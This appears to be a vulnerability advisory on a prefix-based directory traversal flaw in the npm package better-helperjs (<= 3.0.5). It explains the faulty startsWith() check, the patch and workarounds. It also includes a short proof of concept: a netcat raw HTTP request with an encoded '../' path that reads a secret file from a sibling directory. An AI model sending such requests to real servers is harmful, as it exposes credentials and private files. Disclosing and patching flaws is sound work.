Listen to this Post
A directory traversal vulnerability exists in the production static file server of better-helperjs (versions <= 3.0.5). The framework uses a custom static file server engine when running in `NODE_ENV=production` (defined in src/ssr/site-server.ts). Inside the `safeStaticPath()` method, the requested path is validated against the static root directory to prevent traversal outside the designated public folder.
The validation logic relies on `String.prototype.startsWith()`:
const root = path.resolve(rootDir);
const resolved = path.resolve(root, <code>.${decodedPath}</code>);
if (!resolved.startsWith(root)) {
return null;
}
This approach is fundamentally flawed because `startsWith()` evaluates plain strings rather than structural directory paths. Consider an application where `rootDir` is set to /app/dist/client. An attacker attempting to access `/app/dist/client-secrets/database.sqlite` will have the request path successfully pass validation, as the string `”/app/dist/client-secrets/database.sqlite”` begins with "/app/dist/client".
The vulnerability enables attackers to read sensitive files located in any adjacent directory that shares the same string prefix as the intended static root directory, without requiring authentication.
DailyCVE Form
| Field | Value |
|-|-|
| Platform | better-helperjs (npm) |
| Version | <= 3.0.5 |
| Vulnerability | Directory Traversal (CWE-22) |
| Severity | High (7.5 CVSS) |
| Date | 2026-02-23 |
| Prediction | Patch available (3.0.6) |
What Undercode Say: Analytics
Vulnerability Intelligence Summary:
- CWE ID: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Exploit Maturity: Proof of Concept available
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
Affected Version Range:
All vulnerable versions 3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5
Fixed Version:
<blockquote> = 3.0.6
Package Popularity: Limited (~12 downloads/week)
Exploit
Proof of Concept:
To reproduce the vulnerability locally on a vulnerable installation:
Step 1: Build the project and create an adjacent directory simulating sensitive deployment structure
npm run build mkdir -p dist/client-secrets echo "EXPOSED_SECRET" > dist/client-secrets/secret.txt
Step 2: Start the application in Production mode
NODE_ENV=production tsx server.ts
Step 3: Send a crafted GET request using netcat or raw sockets
Using netcat to send raw HTTP request with URL-encoded path traversal printf "GET /%2e%2e%2fclient-secrets/secret.txt HTTP/1.1\r\nHost: localhost:4174\r\nConnection: close\r\n\r\n" | nc localhost 4174
Raw HTTP Request:
GET /%2e%2e%2fclient-secrets/secret.txt HTTP/1.1 Host: localhost:4174 Connection: close
Note: `%2e%2e%2f` is the URL-encoded representation of
../. Standard browsers and HTTP clients that automatically normalize `../` sequences may not trigger this vulnerability—tools like `netcat` or raw socket clients that preserve the encoded path are required.
Step 4: Observe the server response
HTTP/1.1 200 OK EXPOSED_SECRET
Important Caveat: Developer environment (npm run dev) servers are immune as static requests are handled defensively by Vite’s Dev Middlewares. This vulnerability only triggers upon production starts.
Protection
Remediation / Patches
Upgrade to version 3.0.6 or later, where the path validation has been corrected:
// Enforces separator OR exact root matches preventing prefix extension
if (!resolved.startsWith(root + path.sep) && resolved !== root) {
return null;
}
The fix mandates exact path separation bounds by enforcing `path.sep` onto the evaluated traversal string, preventing prefix-based bypasses.
Workarounds (if immediate upgrade is not possible):
- Isolate sensitive directories: Ensure no sensitive directories are deployed adjacent to the static build `client` directory sharing the identical word-prefix string.
- Deploy a reverse proxy: Implement path normalization and validation at the reverse proxy level (e.g., nginx, Apache) to block requests containing `%2e%2e%2f` or similar traversal sequences.
- Use a WAF: Deploy a Web Application Firewall with rules to detect and block path traversal attempts.
Verification:
Check current version npm list better-helperjs Upgrade to patched version npm install [email protected]
Impact
- Confidentiality Impact: High — Attackers can read arbitrary files outside the intended static directory, including:
- Configuration files (e.g.,
.env,database.yml) - Source code
- Database files (e.g.,
database.sqlite) - SSH keys and credentials
- Other sensitive deployment artifacts
- Integrity Impact: None — This vulnerability only permits read access.
- Availability Impact: None — No denial of service or system disruption.
- Authentication: Not required — The attack can be performed remotely without credentials.
- Attack Vector: Network — Exploitable over HTTP/HTTPS.
- Scope: Unchanged — The vulnerability affects only the vulnerable component.
Real-World Scenario: If an application’s static root is `/app/dist/client` and a deployment places a `.env` or `database.sqlite` file in/app/dist/client-secrets/, an attacker can read these sensitive files by requesting/%2e%2e%2fclient-secrets/database.sqlite.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

